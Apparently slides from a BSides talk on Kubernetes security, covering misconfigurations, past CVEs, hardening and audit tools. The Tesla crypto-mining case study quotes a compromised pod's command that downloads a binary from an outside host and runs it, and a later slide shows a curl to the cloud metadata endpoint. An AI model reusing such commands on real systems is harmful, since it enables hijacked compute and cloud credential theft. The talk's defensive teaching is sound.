

Kubernetes Security

Ben Cambourne



Vb-1: WIP

Bio

- Security Consultant at elttam.
- Red Teaming, Pen-testing, Source Code Auditing
- Training
- Over a decade of experience
- Love devops





bdawg

1

Legendary Planeswalker — dawg

: Create token Sliver virtual machine

Only weak opponents make sacrifices.








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Agenda

1. Brief introduction of Kubernetes, Containers, and Docker
2. Introduction to common methods of setting up Kubernetes clusters
3. Common (security) problems with Kubernetes clusters
4. Re-cap on an interesting Kubernetes vulnerability
5. How to secure clusters
6. Tools for auditing clusters
7. Conclusion


Kubernetes




What is Kubernetes

- Open Source container orchestration
- Clusters, Containers, Volumes, Networking, Configuration at scale
- Highly extensible


Pods




K8s components startup




Server implementation



Exposed Application



Application with configuration




Setting up a Kubernetes cluster

- Many many ways
- Local-machine, Hosted, Cloud, On-prem (turnkey), Custom

Kubernetes Security

Threat Modeling

- What is your threat model?



Tesla Kubernetes Crypto-mining

The screenshot shows the Kubernetes dashboard interface. The browser address bar displays a URL with a yellow highlight. The dashboard header includes the Kubernetes logo, a search bar, and a '+ CREATE' button. The main navigation bar shows 'Workloads > Pods > services-1hlmk' with action buttons for EXEC, LOGS, EDIT, and DELETE. A left sidebar lists various Kubernetes resources, with 'Pods' selected. The main content area displays details for the 'services-1hlmk' pod, including its namespace, labels, annotations, creation time, and status. Below this, the 'Containers' section shows a single container named 'my' with its image, environment variables, commands, and arguments.

Namespace: default

Labels: app: my

Annotations: Created by: ReplicationController services

Creation time: 2018-01-29T00:02

Status: Running

Containers

my

Image: centos

Environment variables: -

Commands: sh

-c

curl -o /var/tmp/config.json https://xaxaxa.eu/config_1.json;curl -o /var/tmp/servicea https://xaxaxa.eu/gcc;chmod 777 /var/tmp/servicea;cd /var/tmp;./servicea

Args: -



Namespace

default ▼

Overview

Workloads

Daemon Sets

Deployments

Jobs

Pods

Replica Sets

Replication Controllers

Stateful Sets

Discovery and Load Balancing

Ingresses

Services

Config and Storage

Details

Name: aws-s3-credentials

Namespace: default

Creation time: 2017-10-12T22:29

Type: Opaque

Data



aws-s3-access-key-id: [redacted]




aws-s3-secret-access-key: [redacted]

More Compromised Clusters

- JW Player Cryptocurrency Miner Write-Up





Common (security) problems with Kubernetes clusters

Kubelet Unauthenticated Access

- Until Kubernetes 1.5 no authentication
- Depending on how cluster was deployed, authentication may not be configured
- ReadOnly port can be used for information gathering

Privileged Containers

Insecure Containers

- Running as root
- Embedded secrets

Unsecured ETCd Cluster

- Lack of authentication
- Lack of Encryption (at rest)

Cloud metadata Service

- e.g. EC2 instances can be privileged, and able to steal cloud secrets

```
[ec2-user ~]$ curl http://169.254.169.254/latest/meta-data/
```

Kubernetes Service Tokens

- Originally always mounted
- Without RBAC → full cluster compromise

Kubernetes API Server Authentication

- Unauthenticated internal API Server listener

Network Security

- By default all pods can talk to all pods
- By default all pods can talk to all nodes

Past Vulnerabilities

CVE-2018-1002105 API Server Proxied Request EoP

- An authenticated user can elevate privileges
- Backend is trusted, tricked into connecting to itself


CVE-2019-5736 `runc` `/proc/self/exe` EoP

- `runc` binary could be replaced
- `/proc/self/exe`
- attacker controlled image, write to a container, `docker exec`

CVE-2019-1002101 `kubectl cp` EoP

Extension of previous vulnerability CVE-2018-1002100 in `kubectl cp`

- `kubectl cp` executes `tar` command within container.
- Malicious `tar` binary builds malicious tarball
- Has symlinks outside root of tar
- Writes file outside of root of tar



How to secure clusters

- Secure the Control Plane
- Harden the worker nodes (OS level)
- Container Image security
- Secret Management
- Isolation
- Monitoring and Alarming

Image Building

- Rootless Builds
- Repeatable Builds
- Hermetic

RBAC

- Roles
- Cluster Roles
- Permissions

Pod Security Policies

- Stop privileged containers
- Control (linux) namespaces
- Control host networking
- Control mounting of host filesystem
- Control proc mounts
- Control volumes/storage
- Stop pods running as root

- Control linux capabilities (rootless)
- Restrict escalation (remoting)
- seLinux context
- AppArmor profile
- seccomp profile
- sysctl profile

CIS Kubernetes Benchmark

- CIS Kubernetes Benchmark



Open Policy Agent (OPA)

- Agnostic
- DSL
- Custom Admission Controller / Policies
- Implement your own business rules

SPIFFE

- Secure Production Identity Framework For Everyone
- SPIRE SPIFFE Runtime Environment
- A first-class identity framework for workloads
- SPIFFE ID
- SPIFFE Verifiable Identity Document (SVID)

Service Mesh

- Istio
- Several others
- Network security policy
- between pods in cluster
- ingress
- egress
- Very flexible and powerful

SGX / SEV

- Projects to run containers in SGX enclaves
- graphene-ng
- project golem

Tools for auditing clusters

kube-bench

- [Kube Bench - Aqua Security \(GitHub\)](#)



kube-bench

```
[INFO] 1 Master Node Security Configuration
[INFO] 1.1 API Server
[FAIL] 1.1.1 Ensure that the --allow-privileged argument is set to false (Scored)
[FAIL] 1.1.2 Ensure that the --anonymous-auth argument is set to false (Scored)
[PASS] 1.1.3 Ensure that the --basic-auth-file argument is not set (Scored)
[PASS] 1.1.4 Ensure that the --insecure-allow-any-token argument is not set (Scored)
[FAIL] 1.1.5 Ensure that the --kubelet-https argument is set to true (Scored)
[PASS] 1.1.6 Ensure that the --insecure-bind-address argument is not set (Scored)
[PASS] 1.1.7 Ensure that the --insecure-port argument is set to 0 (Scored)
[PASS] 1.1.8 Ensure that the --secure-port argument is not set to 0 (Scored)
[FAIL] 1.1.9 Ensure that the --profiling argument is set to false (Scored)
[FAIL] 1.1.10 Ensure that the --repair-malformed-updates argument is set to false (Scored)
[PASS] 1.1.11 Ensure that the admission control policy is not set to AlwaysAdmit (Scored)
[FAIL] 1.1.12 Ensure that the admission control policy is set to AlwaysPullImages (Scored)
[FAIL] 1.1.13 Ensure that the admission control policy is set to DenyEscalatingExec (Scored)
[FAIL] 1.1.14 Ensure that the admission control policy is set to SecurityContextDeny (Scored)
[PASS] 1.1.15 Ensure that the admission control policy is set to NamespaceLifecycle (Scored)
[FAIL] 1.1.16 Ensure that the --audit-log-path argument is set as appropriate (Scored)
[FAIL] 1.1.17 Ensure that the --audit-log-maxage argument is set to 30 or as appropriate (Scored)
[FAIL] 1.1.18 Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate (Scored)
[FAIL] 1.1.19 Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate (Scored)
[PASS] 1.1.20 Ensure that the --authorization-mode argument is not set to AlwaysAllow (Scored)
[PASS] 1.1.21 Ensure that the --token-auth-file parameter is not set (Scored)
[FAIL] 1.1.22 Ensure that the --kubelet-certificate-authority argument is set as appropriate (Scored)
```

Kube Hunter

- [Kube Hunter - Aqua Security \(GitHub\)](#)



kube-auto-analyzer

- <https://github.com/nccgroup/kube-auto-analyzer>[Kubernetes Auto Analyzer - NCC (GitHub)]
- Looks at container spec

amicontained

- [amicontained - GenuineTools \(GitHub\)](#)

Conclusion

- Lots of options
- Take care with configuration
- Several tools and resources for auditing
- Enjoy the power and flexibility of Kubernetes

References

- [Exploring Container Security: Isolation at different layers of the Kubernetes stack - GCP](#)
- [Threat Model Thursday: Google on Kubernetes - Adam Shostack](#)
- [Kubernetes Deconstructed - Carson Anderson, DOMO](#)
- [An illustrated guide to Kubernetes Networking Part 1 Part 2 Part 3](#)
- [Shipping in Pirate-Infested Waters - Greg Castle & CJ Cullen, Google](#)

- A Hacker's Guide to Kubernetes and the Cloud - Rory McCune, NCC Group
- Threat Modeling: Designing for Security by Adam Shostack
- Exploring container security: four takeaways from Container Security Summit 2019

Questions?



Thanks

- Thank you all for listening to me
- bsides crew
- Team at elttam

Credits

- All logos copyright by their respective owners
- [Kubernetes Icons GSlide](#)
- [Kubernetes Community Icons](#)
- [CNCF Related Logos and Artwork](#)

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